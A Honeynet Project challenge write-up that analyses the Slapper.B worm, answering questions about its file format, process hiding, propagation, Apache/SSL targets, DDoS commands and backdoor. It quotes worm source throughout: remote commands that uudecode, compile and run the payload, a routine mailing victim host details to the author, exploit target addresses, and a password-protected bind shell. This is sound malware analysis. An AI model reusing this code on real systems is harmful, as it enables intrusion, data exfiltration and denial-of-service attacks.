Scan 25

Writeup by
Cristine Hoepers and Klaus Steding-Jessen
from the Honeynet.BR Project

Skill Level: Advanced

text version


The Challenge:
Members from the Honeynet.BR team have captured a new worm from the wild. The file provided below (.unlock) was used by the worm to infect the honeypot. You have to analyze the captured file in order to answer the questions below.


Introduction

This month's analysis was made based on the source code of the Slapper.B Worm. This worm was not obtained from the compromised honeypot, but it was captured from the network traffic collected in the honeynet.

All the source code mentioned in this analysis is numbered according to these two files: .unlock.nl.c and .update.nl.c. These numbered files were generated using the command: nl -b a.

Questions and Answers

  1. Which is the type of the .unlock file? When was it generated?

    Answer: The .unlock file is a gzipped tar file. This file was generated on Friday, September 20th 2002, 10:59:04 UTC.

    Comments: It is important to note that the time recorded by the gzip command is a Unix date, seconds since 0 hours, 0 minutes, 0 seconds, January 1, 1970, Coordinated Universal Time (UTC) -- the st_mtime value returned by the stat(2) system call. This way is important to take your timezone into account when determinig the correct date and time.

    To get the date in UTC, we set the TZ environment variable to UTC, then used the file(1) command to determine the file type and generation date: (Bourne shell family assumed)

    $ export TZ=UTC
    $ file .unlock
    .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix
    $ zcat .unlock | file -
    standard input:              GNU tar archive
    $ tar tzvf .unlock
    -rw-r--r--  1 root     wheel        70981 Sep 20 13:28 .unlock.c
    -rw-r--r--  1 root     wheel         2792 Sep 19 21:57 .update.c
    

    The environment variable TZ specifies how the localtime(3) conversion is done. If TZ does not appear in the environment, /etc/localtime is usually used.

  2. Based on the source code, who is the author of this worm? When it was created? Is it compatible with the date from question 1?

    Answer: Based on the source code, this worm was originally written by contem@efnet with modifications by aion (aion@ukr.net). It has a VERSION defined as 20092002, that probably means September 20th, 2002, which is compatible with the date from question 1.

    Comments: The information about the authors was obtained from lines below, in the .unlock.c file:

         3	 *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
         4	 *                         by contem@efnet                                  *
    
    
        38	 *  some modification done by aion (aion@ukr.net)                           *
    
        73	//////////////////////////////////////////////////////////////////////////////////////
        74	//                                  aion                                            //
        75	//////////////////////////////////////////////////////////////////////////////////////
    
      1410	// aion
    
      1801	// aion
    

    The only reference in the source code to the worm's creation date is the VERSION symbol, defined on line 71:

        71	#define VERSION		20092002
    
  3. Which process name is used by the worm when it is running?

    Answer: The worm uses the name "httpd " (httpd followed by a space) as its process name.

    Comments: The worm compiles its source code to the file /tmp/httpd, which is then started with the IP number of the infecting machine as a command line argument:

      1421	  writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
      1422	                "tar xzf /tmp/.unlock -C /tmp/;              "
      1423			"gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
      1424			"gcc -o /tmp/update /tmp/.update.c;\n");
      1425	  sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
    

    The worm copies the string "httpd " over argv[0] and erases argv[1] in order to hide this extra information available on the command line. (full pathname and argument)

    This is available at lines 78 and 1803--1805:

        78	#define PSNAME		"httpd "
    
      1803		for(a=0;argv[0][a]!=0;a++) argv[0][a]=0;
      1804		for(a=0;argv[1][a]!=0;a++) argv[1][a]=0;
      1805		strcpy(argv[0],PSNAME);
    
  4. In wich format the worm copies itself to the new infected machine? Which files are created in the whole process? After the worm executes itself, wich files remain on the infected machine?

    Answer: The worm copies itself over the network, to the new compromised machine, in uuencode format. It creates the following files on the infected machine:

    The file /tmp/.unlock is the only one that remains on the infected machine.

    Comments: The function encode() is used to send a binary file through the network in uuencode format. This function is called in line 1418.

    The worm communicates to the victim machine through a socket and starts a cat(1) command on the victim's side, writing the data to a file named /tmp/.unlock.uu until the string __eof__ is received. The code responsible for this is shown below:

      1416	  writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n");
      1417	  zhdr(1);
      1418	  encode(sockfd);
      1419	  zhdr(0);
      1420	  writem(sockfd,"__eof__\n");
    

    An excerpt of the encode() function follows:

      1194	int encode(int a) {
      1195		register int ch, n;
      1196		register char *p;
      1197		char buf[80];
      1198		FILE *in;
      1199		if ((in=fopen(WORMSRC,"r")) == NULL) return 0;
      1200		writem(a,UUHEAD);
      1201		while ((n = fread(buf, 1, 45, in))) {
      1202			ch = ENC(n);
      1203			if (sendch(a,ch) <= ASUCCESS) break;
      [...]
    

    When the worm file is received by the victim machine, the uudecode(1) command is called to generate the .unlock file:

      1421	  writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
    

    The /tmp/.unlock file is a gzipped tar file that when exploded generates two files: /tmp/.unlock.c and /tmp/update.c. These two files are then compiled into /tmp/httpd and /tmp/update, respectively:

      1421	  writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;   "
      1422	                "tar xzf /tmp/.unlock -C /tmp/;              "
      1423			"gcc -o /tmp/httpd  /tmp/.unlock.c -lcrypto; "
      1424			"gcc -o /tmp/update /tmp/.update.c;\n");
    

    The next step is to start both programs, /tmp/httpd and /tmp/update, and then delete all files, but /tmp/.unlock:

      1425	  sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
      1426	  writem(sockfd,rcv); sleep(3);
      1427	  writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
      1428	                "       /tmp/httpd /tmp/update; exit; \n");
    

    The /tmp/.unlock file is maintained because it is needed during the worm propagation process.

    It is very important to note that as soon as the worm is sent to a new victim, the function zhdr() changes to zero the first three bytes of the /tmp/.unlock file left on the machine, making this file unrecognizable as a gzip file.

    Every time this file is about to be sent to a new victim, the function zhdr() is called again, this time restoring the original 0x1f8b08 value.

      1417	  zhdr(1);
      1418	  encode(sockfd);
      1419	  zhdr(0);
    

    The zhdr() function and the definition of the WORMSRC variable are shown below:

        79	#define WORMSRC		"/tmp/.unlock"
    
        84	int zhdr(int flag)
        85	{
        86	  int fd;  char *gzh="\x1f\x8b\x08";
        87	           char *kgz="\x00\x00\x00";
        88	  if((fd=open(WORMSRC,O_WRONLY))==-1) return -1;
        89	  if(flag) write(fd,gzh,3);
        90	    else write(fd,kgz,3);
        91	  close(fd);
        92	}
    
  5. Which port is scanned by the worm?

    Answer: The worm scans for port 80/TCP.

    Comment: The SCANPORT is defined as 80 on line 67:

        67	#define SCANPORT	80
    

    This variable is used as argument to the function atcp_sync_connect(), shown below:

      1921				sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
      1922				clients[n].ext=time(NULL);
      1923				atcp_sync_connect(&clients[n],srv,SCANPORT);
    
       443	int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
       444		int flag=1;
       445	 	struct hostent *hp;
       446		if (inst == NULL) return (AINSTANCE);
       447		inst->len=0;
       448		if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
       449			inst->error=ASOCKET;
       450			return (ASOCKET);
       451		}
       452		if (inet_addr(host) == 0 || inet_addr(host) == -1) {
       453			if ((hp = gethostbyname(host)) == NULL) {
       454				inst->error=ARESOLVE;
       455				return (ARESOLVE);
       456			}
       457			bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
       458		}
       459		else inst->in.sin_addr.s_addr=inet_addr(host);
       460		inst->in.sin_family = AF_INET;
       461		inst->in.sin_port = htons(port);
       462		flag = fcntl(inst->sock, F_GETFL, 0);
       463		flag |= O_NONBLOCK;
       464		fcntl(inst->sock, F_SETFL, flag);
       465		inst->error=ASUCCESS;
       466		return (ASUCCESS);
       467	}
    
  6. Which vulnerability the worm tries to exploit? In which architectures?

    Answer: The worm tries to exploit the SSL vulnerability (CERT/CC VU#102795) on i386 Linux machines, with the following OS and Apache versions:

       OS            Apache Version
       ---------     --------------
       Gentoo        any version
       Debian        1.3.26
       Red-Hat       1.3.6, 1.3.9, 1.3.12, 1.3.19, 1.3.20, 1.3.22, 1.3.23, 1.3.26
       SuSE          1.3.12, 1.3.17, 1.3.19, 1.3.20, 1.3.23
       Mandrake      1.3.14, 1.3.19, 1.3.20, 1.3.23
       Slackware     1.3.26
    

    Comments: If the worm finds a machine with an open 80/TCP port it calls the exploit() function, partially shown below:

      1697	void exploit(char *ip) {
      1698		int port = 443;
      1699		int i;
      1700		int arch=-1;
      1701		int N = 20;
      1702		ssl_conn* ssl1;
      1703		ssl_conn* ssl2;
      [...]
    

    If the word "Apache" does not appear in the web server output, the function exits:

      1708		if (strncmp(a,"Apache",6)) exit(0);
    

    Otherwise it compares the output with various OS names and Apache versions, using the architecture array.

      1709		for (i=0;i<MAX_ARCH;i++) {
      1710			if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
      1711				arch=i;
      1712				break;
      1713			}
      1714		}
      [...]
    

    If none of the OS names and Apache versions matches, it defaults to Apache "1.3.23" running on Red-Hat:

      1715		if (arch == -1) arch=9;
    

    The archs struct is shown below:

      1241	struct archs {
      1242		char *os;
      1243		char *apache;
      1244		int func_addr;
      1245	} architectures[] = {
      1246		{"Gentoo", "", 0x08086c34},
      1247		{"Debian", "1.3.26", 0x080863cc},
      1248		{"Red-Hat", "1.3.6", 0x080707ec},
      1249		{"Red-Hat", "1.3.9", 0x0808ccc4},
      1250		{"Red-Hat", "1.3.12", 0x0808f614},
      1251		{"Red-Hat", "1.3.12", 0x0809251c},
      1252		{"Red-Hat", "1.3.19", 0x0809af8c},
      1253		{"Red-Hat", "1.3.20", 0x080994d4},
      1254		{"Red-Hat", "1.3.26", 0x08161c14},
      1255		{"Red-Hat", "1.3.23", 0x0808528c},
      1256		{"Red-Hat", "1.3.22", 0x0808400c},
      1257		{"SuSE", "1.3.12", 0x0809f54c},
      1258		{"SuSE", "1.3.17", 0x08099984},
      1259		{"SuSE", "1.3.19", 0x08099ec8},
      1260		{"SuSE", "1.3.20", 0x08099da8},
      1261		{"SuSE", "1.3.23", 0x08086168},
      1262		{"SuSE", "1.3.23", 0x080861c8},
      1263		{"Mandrake", "1.3.14", 0x0809d6c4},
      1264		{"Mandrake", "1.3.19", 0x0809ea98},
      1265		{"Mandrake", "1.3.20", 0x0809e97c},
      1266		{"Mandrake", "1.3.23", 0x08086580},
      1267		{"Slackware", "1.3.26", 0x083d37fc},
      1268		{"Slackware", "1.3.26",0x080b2100}
      1269	};
    
  7. What kind of information is sent by the worm by email? To which account?

    Answer: The worm sends an email to aion@ukr.net, with the following information:

    Comments: The mail server the worm connects to and the email account are defined below:

        76	#define MAILSRV  	"freemail.ukr.net"
        77	#define MAILTO    	"aion@ukr.net"
    

    The function mailme() receives sip from its caller -- this is the first command line argument of the worm program:

      1802	        mailme(argv[1]); zhdr(0);
    

    This command line argument comes from the sh() function, which starts the new worm on the infected machine, passing as argument the IP address of the infecting machine:

      1409	  conv(localip,256,myip); memset(rcv,0,1024);
      1425	  sprintf(rcv,  "/tmp/httpd %s; /tmp/update; \n",localip);
    

    The mailme() function is defined below:

        94	int mailme(char *sip)
        95	{
        96	  char cmdbuf[256], buffer[128];
        97	  int pip; long inet;
        98	  struct sockaddr_in sck;
        99	  struct hostent *hp;
       100
    

    The function connects to freemail.ukr.net, port 25/TCP (smtp):

       101	  if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1;
       102	  if((inet=inet_addr(MAILSRV))==-1)
       103	  {
       104	    if(hp=gethostbyname(MAILSRV))
       105	        memcpy (&inet, hp->h_addr, 4);
       106	      else return -1;
       107	  }
       108	  sck.sin_family = PF_INET;
       109	  sck.sin_port = htons (25);
       110	  sck.sin_addr.s_addr = inet;
       111	  if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1;
       112
    

    And starts the following SMTP conversation:

       113	  gethostname(buffer,128);
       114	  sprintf(cmdbuf,"helo test\r\n");                     writem(pip, cmdbuf);
       115	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
    

    Note the fake "mail from:" origin:

       116	  sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf);
       117	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
       118	  sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n");             writem(pip, cmdbuf);
       119	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
       120	  sprintf(cmdbuf,"data\r\n");                          writem(pip, cmdbuf);
       121	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
    

    It finally sends the hostid and hostname of the infected host and the IP address of the infecting host:

       122	  sprintf(cmdbuf," hostid:   %d \r\n"
       123	                 " hostname: %s \r\n"
       124			 " att_from: %s \r\n",gethostid(),buffer,sip);
       125	                                                       writem(pip, cmdbuf);
       126	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
       127	  sprintf(cmdbuf,"\r\n.\r\nquit\r\n");                 writem(pip, cmdbuf);
       128	  recv(pip,cmdbuf,sizeof(cmdbuf),0);
       129	  return close(pip);
       130	}
    
  8. Which port (and protocol) is used by the worm to communicate to other infected machines?

    Answer: The port 4156/UDP is used by the worm to communicate to other worms.

    Comments: The port number is set on line 66:

        66	#define PORT		4156
    

    On lines 1781 to 1784 it binds a sockets to this port, listening for requests:

      1781		if (audp_listen(&udpserver,PORT) != 0) {
      1782			printf("Error: %s\n",aerror(&udpserver));
      1783			return 0;
      1784		}
    
       589	int audp_listen(struct ainst *inst,unsigned int port) {
       590		int flag=1;
       591		if (inst == NULL) return (AINSTANCE);
       592		inst->len=0;
       593		if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
       594			inst->error=ASOCKET;
       595			return (ASOCKET);
       596		}
       597		inst->in.sin_family = AF_INET;
       598		inst->in.sin_addr.s_addr = INADDR_ANY;
       599		inst->in.sin_port = htons(port);
       600		if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
       601			inst->error=ABIND;
       602			return (ABIND);
       603		}
       604	#ifdef O_DIRECT
       605		flag = fcntl(inst->sock, F_GETFL, 0);
       606		flag |= O_DIRECT;
       607		fcntl(inst->sock, F_SETFL, flag);
       608	#endif
       609		inst->error=ASUCCESS;
       610		flag=1;
       611		setsockopt(inst->sock,SOL_SOCKET,SO_OOBINLINE,&flag,sizeof(flag));
       612		return (ASUCCESS);
       613	}
    

    Other function used to communicate using this port, includes:

       643	int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
    
  9. Name 3 functionalities built in the worm to attack other networks.

    Answer: The worm has the functionalities of UDP flood, TCP flood and IPv6 TCP flood (among others).

    Comments: All the commands the worm understands (and its codes) are listed in the code from lines 2032 to 2499:

      2032				if (udpserver.len >= sizeof(struct header)) {
      2033					switch(tmp->tag) {
      2034						case 0x20: { // Info
    
      [...]
    
      2058						case 0x21: { // Open a bounce
    
      [...]
    
      2098						case 0x22: { // Close a bounce
    
      [...]
    
      2107						case 0x23: { // Send a message to a bounce
    
      [...]
    
      2116						case 0x24: { // Run a command
    
      [...]
    
      2152						case 0x25: {
      2153							} break;
      2154						case 0x26: { // Route
    
      [...]
    
      2198						case 0x27: {
      2199							} break;
      2200						case 0x28: { // List
    
      [...]
    
      2205						case 0x29: { // Udp flood
    
      [...]
    
      2246						case 0x2A: { // Tcp flood
    
      [...]
    
      2279						case 0x2B: { // IPv6 Tcp flood
    
      [...]
    
      2308						case 0x2C: { // Dns flood
    
      [...]
    
      2386						case 0x2D: { // Email scan
    
      [...]
    
      2410						case 0x70: { // Incomming client
    
      [...]
    
      2436						case 0x71: { // Receive the list
    
      [...]
    
      2457						case 0x72: { // Send the list
      2458							syncm(&udpclient,0x71,0);
      2459							} break;
      2460						case 0x73: { // Get my IP
    
      [...]
    
      2468						case 0x74: { // Transmit their IP
    
      [...]
    
      2477						case 0x41:   //  --|
      2478						case 0x42:   //    |
      2479						case 0x43:   //    |
      2480						case 0x44:   //    |---> Relay to client
      2481						case 0x45:   //    |
      2482						case 0x46:   //    |
      2483						case 0x47: { //  --|
    
      [...]
    
      2499					}
    
  10. What is the purpose of the .update.c program? Which port does it use?

    Answer: The .update.c is a backdoor program that provides a shell with the privileges of the user running Apache. It uses the port 1052/TCP and asks for the password "aion1981".

    Comments: The port and password are defined on lines 4 and 5:

         4	#define PORT  	  1052
         5	#define PASS  	  "aion1981"
    

    The code below compares a given password with the variable PASS, and gives a shell if they match:

        62	   	        read(soc_cli,temp_buff,10);
        63		        if( !strncmp(temp_buff,PASS,strlen(PASS)) )
        64	                  execl("/bin/sh","sh -i",(char *)0);
        65	                closeall();
        66	                exit(0);
    


  11. Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?

    Answer: The values SLEEPTIME and UPTIME are used to define the backdoor window of activity. The backdoor listens for 10 seconds and then sleep for 5 minutes. These values only affect the LISTEN behaviour of the backdoor -- established connections are not affected.

    Comments: The values of SLEEPTIME and UPTIME are defined on lines 6 and 7:

         6	#define SLEEPTIME 300          // sleep  5 min.
         7	#define UPTIME    10           // listen 10 sec.
    

    The listen and sleep loop are shown below:

        52		for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);)
        53		{
        54		  soc_cli = accept(soc_des,
        55		              (struct sockaddr *) &client_addr, sizeof(client_addr));
        56	          if (soc_cli > 0)
        57		  {
        58	            if (!fork()) {
        59	                dup2(soc_cli,0);
        60	                dup2(soc_cli,1);
        61	                dup2(soc_cli,2);
        62	   	        read(soc_cli,temp_buff,10);
        63		        if( !strncmp(temp_buff,PASS,strlen(PASS)) )
        64	                  execl("/bin/sh","sh -i",(char *)0);
        65	                closeall();
        66	                exit(0);
        67	            } else wait(&retval);
        68		  }
        69		  sleep(1);
        70		}
        71
        72	        closeall();
        73		sleep(SLEEPTIME);
    



The Honeynet Project